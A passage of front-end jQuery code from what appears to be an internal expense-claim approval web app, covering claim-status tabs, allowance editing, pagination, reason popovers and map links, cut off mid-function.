var paginationMap_globleVar = new Map();
var ResponseJsonDataMap_globleVar = new Map();
var REFERENCE_EDIT_IMGBILL_VALUES_MAP= new Map();
$(document).ready(
	function () {

		$("#fromDateText,#toDateText").datepicker({
			onClose: function () {
				this.focus();
			}
		});
		$('[data-toggle="tooltip"]').tooltip();
	

		$(".navbar-nav .nav-link .fa-spinner").invisible();
		$(".TL-Finance .page-link .fa-spinner").invisible();

		LOGGED_IN_USER_ID = $("#LoggeduserId").html();
		LOGGED_IN_USER_NM = $("#LoggeduserName").html();
		LOGGED_IN_USER_MAIL = $("#LoggeduserMail").html();
		LOGGED_IN_DEPARTMENT = $("#LoggeduserDepartment").html();


		UIDecisionBaseOnDropDown();


		$("#retryDropDownRequest").click(function () {
		   $(this).html("<i class='fa fa-spinner fa-spin' aria-hidden='true'></i>");
			afterClickedRetryBtn();
		});

        
        $("#connectionRetryBtn").click(function(){
          triggerTheFirstTab();
          $("#loading_page").addClass("d-none");
        });


		/*---------------------------------------------------------------------------------------*/
		/*--popover functionality--*/
		/*---------------------------------------------------------------------------------------*/

		//popover on click user profile
		$('[data-toggle="popover"]').popover({
			placement: 'left',
			trigger: 'hover',
			html: true,
			sanitize: false,
		     storage: false,
		     selector: false,
		     //            trigger: 'focus',
		     content: function () {
		         return '<table style="font-size: 12px;">'+
		                    '<tbody>'+
		                        '<tr><th>Name: </th><td style="word-break: break-all">'+LOGGED_IN_USER_NM+'</td></tr>'+
		                        '<tr><th style="width: 30%;">Email: </th><td style="word-break: break-all">'+LOGGED_IN_USER_MAIL+'</td></tr>'+
		                        '<tr><th>Designation:</th><td style="border: 0!important;">'+LOGGED_IN_DEPARTMENT+'</td></tr>'+
		                      '</tbody>'+
		                  '</table>';
		     }
		});
	
		/*---------------------------------------------------------------------------------------*/

		// eg:-if excel-type =bulk selected then removing required for empid*
		$('#typeOfExcelSelect').on('change', function () {
			var selectedTypeOfExcel = $(this).val();
			//console.log(selectedTypeOfExcel);

			if (selectedTypeOfExcel == "individual") {

				$("#execelEmpID").prop('required', true);
				$("#execelEmpID").val('');
				$(".modal-body .employeeId").show();
			} else if (selectedTypeOfExcel == "bulk") {
				$(".modal-footer #message").html("");
				$("#execelEmpID").removeAttr('required');
				$(".modal-body .employeeId").hide();
				$(".form-control.dateInput").removeAttr("disabled");
			}

		});
		$('.dropdown-item.downLoadExcelbtn').click(function () { // for every time onclick download button individual type need to selected.
			$('#typeOfExcelSelect').val('individual');
			$(".modal-body .employeeId").show();
		});


		/*---------------------------------------------download excel limit 2 months------------------------------------*/
		$("#downloadExcelFormId .dateInput").change(function () {
			$("#message").empty();
			$("#search").removeAttr("disabled");
			let fromdate = new Date($("#fromdate").val());
			let todate = new Date($("#todate").val());
			let difference_in_time = todate.getTime() - fromdate.getTime();
			let difference_in_days = difference_in_time / (1000 * 3600 * 24);
			let message;
			if (!isNaN(difference_in_days)) {
				if (difference_in_days < 60) {
					if (difference_in_days < 0) {
						message = "Please Enter Valid Dates";
						$("#search").attr("disabled", "true");
					}
				} else {
					message = "only Two months records allowed";
					$("#search").attr("disabled", "true");
				}
			}
			$("#message").html(message);
		});



		/*--------------------------------------------------------------------------------------------------------*/
		/*-----------------------------------sticky pagination------------------------------------------------------*/

		/*-----------------------------------end------------------------------------------------------*/

	});
/*-----------------------------------------------------------------------------*/
/*function to fetch Data from server and Creating UI By Binding these Values as Table*/
/*-----------------------------------------------------------------------------*/
function fetchDataCreatingUIAndBindingValues(jsonRawData, getClaimStatus, map) {
	window.mergeCount = 0; //global variable



	var selectedTabRelatedTableDataValueFields = new SelectedTabRelatedTableDataValueFields();
	// object created for class in selectedTabRelatedTableDataValueFields.js
	for (var index = 0; index < jsonRawData.length; index++) {
		//var previousIndexRowValue;
		var presentIndexRowValue;
// 		if (index == 0) { // for initially
// 			previousIndexRowValue = jsonRawData[index];
// 		} else {
// 			previousIndexRowValue = jsonRawData[index - 1]; // present-index - 1
// 		}
		presentIndexRowValue = jsonRawData[index];

		$('#inserted_tableBody_data').append(checkSelectedTabAndDepartment(selectedTabRelatedTableDataValueFields, presentIndexRowValue, index, getClaimStatus, map));
        
		//after succesfully appended table data ,then merging same site-visit-date
		
	}
	changeColspanValueAndImageBillRowWidthOnTabchange(getClaimStatus); //function call
	onClickActionOnMap();

	$(".table-scroll .sticky-column.col2").css("left", "28.1px");
	$(".table-scroll .sticky-column.col3").css("left", "83.5px");
	$(".table-scroll .sticky-column.col5").css("left", "204.3px");
	$(".table-scroll .sticky-column.col6").css({
		"left": "246.50px",
		"border-right": "1px solid #e0e4e8"
	});
	$('td select.deputationAllowancesDD').on('change', function () {
		var value = this.value;
		var data_commonId = $(this).attr("data-common-id");
		onChangeDeputationAllowances(value, data_commonId); //function call
	});


/*-----------------------------------------------------------------------------------*/
/*onchange select options in Deputational allowances Calculating Total*/
/*-----------------------------------------------------------------------------------*/
let onChangeDeputationAllowances=(value, data_commonId)=>{
	let DAvalue, TotalValue, deductAmount = 0;
	let thisEditDABtn=$("#editDaAmountInputField_"+data_commonId);
    let DA_Resetvalue=Number($("#hiddenResetDaAmount_"+data_commonId).val());
	if (value == "Yes") {
	    thisEditDABtn.removeClass("d-none");
	     let iconType="reset";
	    changeDA_editField_Behaviour(iconType,data_commonId,thisEditDABtn);
		DAvalue = DA_Resetvalue;
		//                                
	} else if (value == "No") {
	    thisEditDABtn.addClass("d-none");
	    $("#editableDaAmount_"+data_commonId).attr("disabled","true");
		DAvalue = 0;
	}
//	alert(DAvalue);
	$("#editableDaAmount_" + data_commonId).val(DAvalue);
    updateFinalAmount(DAvalue,data_commonId);

	
// 	$("#editableDaAmount_" + data_commonId).val(DAvalue);
// 	var Total = $("#editableTotalFinalAmount_" + data_commonId).html();
// 	var SumOfTotal = Number(Total) + TotalValue;
// 	$("#editableTotalFinalAmount_" + data_commonId).html(SumOfTotal);

};

	/*--------------------------------distance functionality--------------------------*/
	// Distance edit button
    	$('td i.DA_EditBtn').click(function () {
            let thisBtnId=$(this);
    		let empid_date =thisBtnId.attr("data-common-id");
    		let rowindex =thisBtnId.attr("data-index");
    		let iconType = thisBtnId.attr("data-btn-type");
            changeDA_editField_Behaviour(iconType, empid_date, thisBtnId);
    
    
    	});
	
		let changeDA_editField_Behaviour=(iconType,empid_date, thisBtnId)=>{//only passing values can be 'edit' or 'reset' strings
		if(iconType=="edit"){// if edit Icon
    		    thisBtnId.removeClass("fa fa-edit");
    		    thisBtnId.addClass("fas fa-undo");
    		    thisBtnId.attr("data-btn-type","reset");
    		    $("#editableDaAmount_" + empid_date).removeAttr("disabled");
		    }else{//if reset Icon
		    
		    thisBtnId.addClass("fa fa-edit");
		    thisBtnId.removeClass("fas fa-undo");
		    thisBtnId.attr("data-btn-type","edit");
		    $("#editableDaAmount_" + empid_date).attr("disabled","true");
		    resetDA_amountValue(empid_date);
        
		    
		    }
		    
		}
		
		let resetDA_amountValue=(empid_date)=>{
		   let resetValue=Number($("#hiddenResetDaAmount_"+empid_date).val());
		    $("#editableDaAmount_" + empid_date).val(resetValue);
		    updateFinalAmount(resetValue,empid_date);
		  //  if(resetValue==0){
		  //     // $("#editableDeputation_"+empid_date).val("No");
		  //      $("#editDaAmountInputField_"+empid_date).addClass("d-none");
		  //  }
		   
		}
	
		$('input.DaAmountInputField').on('input', function() {
		    checkForInputFieldNotEmpty($(this));
		    let empId_date=$(this).attr("data-common-id");
		    let DaAmountValue=Number($(this).val());
            updateFinalAmount(DaAmountValue, empId_date);
		});

	// onchange Distance calculate the total distance
// 	$('input.distanceInputField').on('input', function() {
// 	    checkForInputFieldNotEmpty($(this));
// 		let totalDistance = 0;
// 		let empId_date = $(this).attr("data-common-id");
// 		$("input.distanceInput_" + empId_date).each(function () {
// 			totalDistance += Number($(this).val());

// 		});
// 		let DaAmount = Number($("#editableDaAmount_" + empId_date).val());
// 		let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
// 		let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
// 		let totalDistanceFTAamount = findFTA(totalDistance);
// 		let count = 0;
// 		let totalFTAamount = totalDistanceFTAamount;
// 		$("input.FTAinput_" + empId_date).each(function () {
// 			if (count != 0) {
// 				totalFTAamount += Number($(this).val());
// 			}
// 			count++;
// 		});
// 		//console.log("totalFTAamount" + totalFTAamount + "DaAmount" + DaAmount + "totalOtherBill" + totalOtherBill + "totalHotelBill" + totalHotelBill);
// 		let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
// 		updateUiValuesOnChangeOfDistance(totalDistance, totalDistanceFTAamount, finalAmount, empId_date);

// 	});

	/*--------------------------------end distance functionality--------------------------*/
	/*--------------------------------FTA functionality--------------------------*/
	//  edit button
// 	$('td i.ftaEditBtn').click(function () {

// 		let empId_date = $(this).attr("data-common-id");
// 		let rowindex = $(this).attr("data-index");
// 		//alert(input_id);
// 		$("#FTAinput_" + empId_date + "_" + rowindex).removeAttr("disabled");

// 	});
	// onchange FTA calculate the FTA distance
	//$('input.FTAInputField').change(function () {
// 	$('input.FTAInputField').on('input', function() {
// 	    checkForInputFieldNotEmpty($(this));
// 		let totalFTAamount = 0;
// 		let empId_date = $(this).attr("data-common-id");

// 		$("input.FTAinput_" + empId_date).each(function () {
// 			totalFTAamount += Number($(this).val());
// 		});
// 		let DaAmount = Number($("#editableDaAmount_" + empId_date).val());
// 		let totalOtherBill = Number($("#editableTotalOtherBillAmount_" + empId_date).html());
// 		let totalHotelBill = Number($("#editableTotalHotelBillAmount_" + empId_date).html());
// 		let finalAmount = totalFTAamount + DaAmount + totalOtherBill + totalHotelBill;
// 		//console.log(finalAmount);
// 		updateUiValuesOnChangeOfFTAamount(finalAmount, empId_date);
// 	});

	/*--------------------------------end distance functionality--------------------------*/

	/*--------------------------------on change stageOfAudit functionality--------------------------*/
// 	$("td select.stageOfAuditDD").change(function () {


// 		let empId_date = $(this).attr("data-common-id");
// 		let rowindex = $(this).attr("data-index");
// 		let siteVisitOrder = $(this).attr("data-siteVisitOrder");
// 		let onChangedVal = $(this).val();
// 		//alert(ref_unique);
// 		resetFTA_and_finalAmount(empId_date, rowindex, siteVisitOrder, onChangedVal);


// 	});
	/*--------------------------------end distance functionality--------------------------*/
	/*-------------------------------------on change project functionality--------------------------*/
// 	$("td select.projectDD").change(function () {
// 		let empId_date = $(this).attr("data-common-id");
// 		let rowindex = $(this).attr("data-index");
// 		let siteVisitOrder = $(this).attr("data-siteVisitOrder");
// 		let onChangedVal = $(this).val();
// 		let optionTagUI_stageOfAuditDD = getSelectDropDownList(onChangedVal); // appending new stageOfAudit-option tag aacording to project chnage
// 		//console.log();
// 		$("#stageOfAudit_" + empId_date + "_" + rowindex).html(optionTagUI_stageOfAuditDD);
// 		let stageOfAuditValue = $("#stageOfAudit_" + empId_date + "_" + rowindex).val();
// 		resetFTA_and_finalAmount(empId_date, rowindex, siteVisitOrder, stageOfAuditValue);

// 	});
	/*--------------------------------end on change_project  functionality--------------------------*/

	// changing reason text-color according to user selected claimStatus
	$(".reportSubmittingForm input.form-check-input").click(function () {
		var claimStatus = $(this).val();
		var empId_date = $(this).attr("data-common-id");
		switch (claimStatus) {
            case CLAIM_UNDO://undo
			$("#reasonPara_" + empId_date).empty();
				break;
			case CLAIM_TL_APPROVED://approved
				$("#reasonPara_" + empId_date).css("color", "#007bff");
				break;
			case CLAIM_TL_REJECTED://tl reject
				$("#reasonPara_" + empId_date).css("color", "red");
				break;
			case CLAIM_FINANCE_APPROVED://finan approved
				$("#reasonPara_" + empId_date).css("color", "var(--financeApproved-color)");
				break;
			case CLAIM_FINANCE_REJECTED://fin rejct
				$("#reasonPara_" + empId_date).css("color", "red");
				break;
			case CLAIM_PAID://paid
			    let paidDateHTML="<strong>Paid date: </strong><input id='reasonPara_paidDate_"+empId_date+"' class='paidDateInputField' type='date' required />";

			    $("#reasonPara_" + empId_date).removeClass("d-none");
				$("#reasonPara_" + empId_date).html(paidDateHTML);
				break;

		}
	});

	getReasonWritingPopover(map); //funtion call
	// searchClaimDetailsOnEmpid();//funtion call

	//report submit form function:-
	$(".reportSubmittingForm").submit(function (e) {
		let thisForm = $(this);
		let claim_status=thisForm.attr("data-claimStatus");
		if(checkWheatherLogoutOrNot_InternetConnection()){
		    let returnValueOfTableTrLength = reportSubmissionToServer(map, e, thisForm, claim_status); //funtion call in "reportsubmission.js"
        }else{
              alertNoInternet_connection();
        }
	});


	//on hover <tr>  background-color on same date:- will be same
	$(".table-hover tbody tr").hover(function () {

		var storename = $(this).attr("class");
		$("." + storename).css("background-color", "rgba(0,0,0,.075)");
		$("." + storename + " .sticky-column").css("background-color", "rgb(238 237 237 / 96%)");
		// var k= $(this).find("td[rowspan]").attr("rowspan")

	}, function () {

		var storename = $(this).attr("class");
		$("." + storename).css("background-color", "#fff");
		$("." + storename + " .sticky-column").css("background-color", "#fff");

	});


}
/*-----------------------------------------------------------------*/
/*function to adjust-UI If Data Not-Found*/
/*-----------------------------------------------------------------*/
function adjustUIDataNotFound() {
	$('#inserted_tableBody_data').html(" ");
	$("#nodata").show();
	$("#download_UIexcel_btn").hide();
	// $(".bottomdata").hide();

	//UI will distrubs when 2nd time "no data found"
	$(".table-scroll .sticky-column.col2").css("left", "28.1px");
	$(".table-scroll .sticky-column.col3").css("left", "83.5px");
	$(".table-scroll .sticky-column.col4").css("left", "188.3px");
	$(".table-scroll .sticky-column.col5").css("left", "204.3px");
	$(".table-scroll .sticky-column.col6").css({
		"left": "246.75px",
		"border-right": "1px solid #e0e4e8"
	});



}
/*-----------------------------------------------------------------*/
/*-----------------------------------------------------------------*/

function chooseTabRelatedTableHeading(getClaimStatus) {
	var selectedTabRelatedHeadingFields = new SelectedTabRelatedHeadingFields();
	var createdTableHeadingUI;
	switch (getClaimStatus) {
		case CLAIM_PENDING:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_NewClaims(LOGGED_IN_DEPARTMENT);
			break;

		case CLAIM_TL_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_TLDepartmentApproved();
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_FinanceDepartmentTLApproved(LOGGED_IN_DEPARTMENT);
			}
			break;

		case CLAIM_TL_REJECTED:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_RejectTab();
			break;

		case CLAIM_FINANCE_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_TLDepartmentFinanceApproved();
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_pendingPayments();
			}
			break;

		case CLAIM_FINANCE_REJECTED:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_RejectTab();
			break;

		case CLAIM_PAID:
			createdTableHeadingUI = selectedTabRelatedHeadingFields.Tab_completedPayments();
			break;

	}
	$("#inserted_tableHeading_data").html(""); //making empty, Before appending New tableData.
	$("#inserted_tableHeading_data").append(createdTableHeadingUI);
	//	addResizableFunctionality();
		$('[data-toggle="Abbrevation_tooltip"]').tooltip({
		   	trigger: 'click'
		});
}


function checkSelectedTabAndDepartment(selectedTabRelatedTableDataValueFields, rowValues, forLoopIndex, tabStatus, map) {
	var createdUi;
	switch (tabStatus) {
		case CLAIM_PENDING:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_NewClaimsRelatedUI(rowValues, forLoopIndex, map); //method->"Tab_NewClaimsRelatedUI" in class->"selectedTabRelatedTableDataValueFields" in selectedTabRelatedTableDataValueFields.js
			break;
		case CLAIM_TL_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_TLDepartmentApprovedRelatedUI(rowValues, forLoopIndex);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_FinanceDepartmentTLApprovedRelatedUI(rowValues, forLoopIndex, map);
			}

			break;
		case CLAIM_TL_REJECTED:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_RejectTabRelatedUI(rowValues, forLoopIndex);
			break;
		case CLAIM_FINANCE_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_TLDepartmentFinanceApprovedRelatedUI(rowValues, forLoopIndex);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				createdUi = selectedTabRelatedTableDataValueFields.Tab_PendingPaymentsRelatedUi(rowValues, forLoopIndex);
			}
			break;
		case CLAIM_FINANCE_REJECTED:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_RejectTabRelatedUI(rowValues, forLoopIndex);
			break;

		case CLAIM_PAID:
			createdUi = selectedTabRelatedTableDataValueFields.Tab_CompletedPaymentsRelatedUi(rowValues, forLoopIndex);
			break;
	}
//	console.log(createdUi);

	return createdUi;

}









/*------------------------------------------------------------------*/
/*function to change Colspan ValueOnTabchange according to Claim-status */
/*------------------------------------------------------------------*/

function changeColspanValueAndImageBillRowWidthOnTabchange(claimstatus) {
	//changing claiming status icon color
	switch (claimstatus) {
		case CLAIM_PENDING: //claim pending
			$(".imageBillsDropDownTableRow").attr("colspan", CLAIM_PENDING_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_TL_APPROVED: //ready to approved
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_TL_REJECTED: //ready to reject
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_REJECTED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;
		case CLAIM_FINANCE_APPROVED: //ready to Finance Approved
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_TL_DEPARTMENT_FINANCE_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_FINANCE_APPROVED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			}

			break;
		case CLAIM_FINANCE_REJECTED: //ready to reject
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_FINANCE_REJECTED_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			// $(".imageBillsDropDownTableRowDataDiv").css('width', '4500px');
			break;
		case CLAIM_PAID: // ready to claim
			$(".imageBillsDropDownTableRow").attr('colspan', CLAIM_PAID_TAB_IMAGES_TABLE_ROW_COLSPAN_VALUE);
			break;

	}

}
/*------------------------------------------------------------------*/

/*-----------------------------------------------------------------------------------*/





/*-----------------------------------------------------------------------------------*/





/*---------------------------------------------------------------------------------------*/
/*function to get popover to write reason for(approve or reject or FINANCE APPROVED) and submit*/
/*---------------------------------------------------------------------------------------*/
function getReasonWritingPopover(map) {

	//popover on rejected entries
	$('[data-toggle="resonPopover"]').popover({
		html: true,
		sanitize: false,
		storage: false,
		selector: false,
		content: function () {
			let common_id = $(this).attr('data-common-id');
			let reasonLength=$("#reasonPara_" + common_id).html().length;
			return "<div class='text-right' style='margin-top:-10px; margin-right:-8px'><i class='fas fa-times' onclick='closepopup()'></i></div>"+
    			    "<div>" +
    				"<textarea  class='form-control' placeholder='Reason' id='popupReason_"+common_id+"' required='true' name='rejectpopNM' oninput='oninput_passReason(\"" + common_id + "\")'  maxlength='200' >" + $("#reasonPara_" + common_id).html() + "</textarea>" +
    				"</div>" +
    				"<div>"+
    				    // "<button onclick='passReason(\"" + common_id + "\")' class='popoverbtn'>save</button ><button class='popoverbtn ml-2' onclick='closepopup()'>close</button>"+
    				        "<button class='popoverbtn btn-theme-type2' onclick='clearReason(\""+common_id+"\")'>Clear</button>"+
    				    "<span style='font-size: 9px; position: absolute;right: 0;'><span id='reason_wordCount_"+common_id+"'>"+reasonLength+"</span>/200</span>"+
    				"</div>";
		}
	});

	  $('body').on('click', function (e) {
		      $('[data-toggle="resonPopover"]').each(function () {
		          //the 'is' for buttons that trigger popups
		          //the 'has' for icons within a button that triggers a popup
		          if (!$(this).is(e.target) && $(this).has(e.target).length === 0 && $('.popover').has(e.target).length === 0) {
		              $(this).popover('hide');
		          }
		      });
		       $('[data-toggle="Abbrevation_tooltip"]').each(function () {
		          //the 'is' for buttons that trigger popups
		          //the 'has' for icons within a button that triggers a popup
		          if (!$(this).is(e.target) && $(this).has(e.target).length === 0) {
		              $(this).tooltip('hide');
		          }
		      });
		  });



	// "passReason" is a function name in "popover content: function"-> button.
	oninput_passReason = function (common_id) {
	    let reasonLength=$("#popupReason_"+common_id).val().length;
	    var reason = $("#popupReason_"+common_id).val();
		$("#reasonPara_" + common_id).html(reason);
		$("#reason_wordCount_"+ common_id).html(reasonLength);
		checkForReasonLength_alert(reasonLength, common_id);
	}
	function checkForReasonLength_alert(reasonLength, common_id){
	    let max_reasonLength=200;
	    if(reasonLength==max_reasonLength){
	       addErrorClass(common_id);
	    }else{
            removeErrorClass(common_id);
	    }
	}
	passReason = function (common_id) {
		var reason = $("#popupReason_"+common_id).val();
		$("#reasonPara_" + common_id).html(reason);
		$('[data-toggle="resonPopover"]').popover('hide');
	}
	//close popup
	closepopup = function () {
		$('[data-toggle="resonPopover"]').popover('hide');
	}
	// clear Reason
	
	clearReason = function(common_id){
	    $("#popupReason_"+common_id).val('');
	    $("#reasonPara_"+ common_id).html('');
	    $("#reason_wordCount_"+common_id).html(0);
	    removeErrorClass(common_id);
	}
	
	addErrorClass =function(common_id){
	    $("#popupReason_"+common_id).addClass('danger');
        $("#reason_wordCount_"+common_id).parent('span').addClass("reason_wordCount_danger");
	}
	
    removeErrorClass =function(common_id){
	    $("#popupReason_"+common_id).removeClass('danger');
        $("#reason_wordCount_"+common_id).parent('span').removeClass("reason_wordCount_danger");
	}
	
	
}

function setPaginationValues(getClaimStatus, currentPageNo, totalPages) {
	if (totalPages == NO_PAGES_AVAILABLE) { // ==0
		whenPagesNotAvailable();
	} else {
		whenPagesAvailable(getClaimStatus, currentPageNo, totalPages);
	}

	$("#searchEmpId").attr("data-claimStatus", getClaimStatus);

}

function whenPagesAvailable(getClaimStatus, currentPageNo, totalPages) {
	var prevPageNo, nextPageNo;

	$("#prevPage").attr("data-claimStatus", getClaimStatus);
	$("#nextPage").attr("data-claimStatus", getClaimStatus);

	$("#prevPage").removeAttr("disabled");
	$("#prevPage").css("background-color", '#fff');
	$("#nextPage").removeAttr("disabled");
	$("#nextPage").css("background-color", '#fff');

	if (totalPages == currentPageNo + 1) {
		$("#nextPage").attr("disabled", true);
		$("#nextPage").css("background-color", '#dadadaf2');
		nextPageNo = currentPageNo;
		$("#noOfPreviousPagesRemaining").html(currentPageNo);
		$("#noOfNextPagesRemaining").html(0);
	} else {

		nextPageNo = currentPageNo + 1;
		$("#noOfPreviousPagesRemaining").html(currentPageNo);
	    $("#noOfNextPagesRemaining").html(totalPages-nextPageNo);
	}

	//if curent page already one, no more previous page.
	if (currentPageNo <= 0) {
		$("#prevPage").attr("disabled", true);
		$("#prevPage").css("background-color", '#dadadaf2');
		prevPageNo = currentPageNo;

	} else {
		prevPageNo = currentPageNo - 1;
	}
//	console.log("nextPageNo" + nextPageNo + " prevPageNo" + prevPageNo);


	$("#prevPage").attr("data-pageno", prevPageNo);
	$("#nextPage").attr("data-pageno", nextPageNo);

}

function whenPagesNotAvailable() {
    $("#noOfNextPagesRemaining").html(0);
    $("#noOfPreviousPagesRemaining").html(0);
	$("#nextPage").attr("disabled", true);
	$("#nextPage").css("background-color", '#dadadaf2');
}
/*---------------------------------------------------------------------------------------*/
/*function to get BillImage-Proof Button =>close and open operation*/
/*---------------------------------------------------------------------------------------*/

function loadBillImageProofButtonFunction(map) {
	//	$(".Buttonclosed").click(function () {
	$(".billImageProofDropdownBtn").click(function () {

		let buttonStatus = $(this).attr("data-btnstatus");
		let empId_date = $(this).attr("data-common-id");
		/*let rowIndex = $(this).attr("data-index");
		let rowspan = $(this).attr("rowspan");*/
		let empId = $("#empId_" + empId_date).html();
		let getClaimStatus = $("#claimStatus_" + empId_date).attr("data-claimStatus");
		// geting rowspan for print bill-images below "formula:-increamnt=(rowspan-1)/2"

		if (buttonStatus == "Buttonclosed") {
		    if(checkWheatherLogoutOrNot_InternetConnection()){ // before request-call to server checking user is still logged in or not &internet connection 
			$(this).html("<i class='fa fa-spinner fa-spin' aria-hidden='true'></i>");
			$(this).attr("data-btnstatus","ButtonOpen");//replacing closed to open btn
			fetch_related_images(empId, empId_date, getClaimStatus, map); //function call in images.js
		    }else{
		          alertNoInternet_connection();
		    }
		} else {
			$(this).html("<i class='fa fa-arrow-down' aria-hidden='true'></i>");
			$(this).attr("data-btnstatus","Buttonclosed");
			$('#imageBillsContainerDiv_' + empId_date).empty(); //deleting div
				$('#imageBillsContainerDiv_' + empId_date).css({
					"overflow": "inherit",
					"padding-  top": "0"
				});
				$('#imageBillsContainerDiv_' + empId_date).parent().css("border-top", "0");
		
			$("#myresult").css("visibility", "hidden"); // show the result div for image zoom preview
		}

	});
}
/*---------------------------------------------------------------------------------------*/



/*---------------------------------------------------------------------------------------*/
/*onClickActionOnMap*/
/*---------------------------------------------------------------------------------------*/

function onClickActionOnMap() {

	$(".onclickSingleTripMapBtn").click(function () {
		let empId_date = $(this).attr("data-common-id");
		let rowIndex = $(this).attr("data-index");
		let directions = $("#getDirectionLatLng_" + empId_date +"_"+ rowIndex).html();

		window.open("https://www.google.com/maps/dir/" + directions + MAP_DRIVING_MODE);
	});

	$(".onclickRoundTripMapBtn").click(function () {
		let empId_date = $(this).attr("data-common-id");
		let directions = '';
		$(".getDirectionLatLng_" + empId_date).each(function () {
			directions += $(this).html();
		});
		//console.log(directions);
		

		window.open("https://www.google.com/maps/dir/" + directions + MAP_DRIVING_MODE);
	});
}









/*---------------------------------------------------------------------------------------*/

function changeToDateFormate(value) {

	return new Date(value).toLocaleDateString('fr-CA');
}

function sortJson(jsonRawData, getClaimStatus) {
	var sortRawJsonDataObj = new SortRawJsonData();
	sortRawJsonDataObj.getSortedRowData(jsonRawData, getClaimStatus);
}

function getDate(date) {
	var dd = date.getDate();
	var mm = date.getMonth();
	var yyyy = date.getFullYear();
	var thisDate = yyyy + "-" + (mm + 1) + "-" + dd;
	return thisDate;

}

// function updateUiValuesOnChangeOfDistance(totalDistance, fta, finalAmount, ref_Id) {
// 	$(".FTAinput_" + ref_Id).eq(0).val(fta.toFixed(2)); // only two fractional part allowed eg:- 0.00
// 	$("#totalDistance_" + ref_Id).html(totalDistance.toFixed(2));
// 	$("#editableTotalFinalAmount_" + ref_Id).html(finalAmount);
// 	//console.log($(".ftaTd"+ref_Id+" input").eq(0).val()); 
// }

// function updateUiValuesOnChangeOfFTAamount(finalAmount, ref_Id) {
// 	$("#editableTotalFinalAmount_" + ref_Id).html(finalAmount);
// }


// function findFTA(distance) {
// 	var ftaINR = 0;
// 	if (distance < 101.0) { //0-50
// 		ftaINR = 410.0;
// 	} else if (distance < 201.0) { //51-100
// 		ftaINR = 560.0;
// 	} else if (distance < 301.0) { //101-150
// 		ftaINR = 735.0;
// 	} else if (distance < 401.0) { //151-200
// 		ftaINR = 870.0;
// 	} else if (distance < 501.0) { //201-250
// 		ftaINR = 1030.0;
// 	} else if (distance < 601.0) { //251-300
// 		ftaINR = 1190.0;
// 	} else if (distance < 701.0) { //301-350
// 		ftaINR = 1333.0;
// 	} else if (distance < 801.0) { //351-400
// 		ftaINR = 1475.0;
// 	} else if (distance < 901.0) { //401-450
// 		ftaINR = 1588.0;
// 	} else if (distance < 1001.0) { //451-500
// 		ftaINR = 1700.0;
// 	} else if (distance < 1101.0) { //501-550
// 		ftaINR = 1835.0;
// 	} else if (distance < 1201.0) { //551-600
// 		ftaINR = 1970.0;
// 	} else if (distance < 1301.0) { //601-650
// 		ftaINR = 2110.0;
// 	} else if (distance < 1401.0) { //651-700
// 		ftaINR = 2250.0;
// 	} else {
// 		ftaINR = 2250.0;
// 	}
// 	return ftaINR;
// }

//function  getSelectDropDownList(keyValue, selectedValue) {
// function getSelectDropDownList(keyValue) {
// 	let dropDownListArray = getStageOfAuditdropDown(); // dynamicDropdon_of_project_&_stageOfAudit class object;//dynamicDropDownObj is cont var
// 	let projectsList = dropDownListArray[keyValue];
// 	let optionTag = "";


// 	for (let index = 0; index < projectsList.length; index++) {
// 		optionTag += "<option value='" + projectsList[index] + "'>" + projectsList[index] + "</option>";
	
// 	}

// 	return optionTag;
// }

function afterSuccessfullyGotResponseOfDropdown() {
	/*-----------------------------------------------------------------*/
	/*function to get searched perticular employee site visiting information */
	/*-----------------------------------------------------------------*/
	var currentRequest_frmTab=null;
	$("#searchClaimForm").submit(function (e) {
		e.preventDefault();
		//var form=$(this);
		$('input').each(function () {
			$(this).val(jQuery.trim($(this).val()));
		});
		var searchEmpId = $("#searchEmpId").val();

		function isItpresent() {
		    // before request-call to server checking user is still logged in or not and internet 
		    if(checkWheatherLogoutOrNot_InternetConnection()){
    			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
    				return checkSearchingEmpId_in_GlobalUniqueArray(searchEmpId);
    			} else {
    				return true;
    			}
		    }else{
		        alertNoInternet_connection();
		        return false;
		    }
		} // checking for employee belongs to this TL are not.
		if (isItpresent()) {
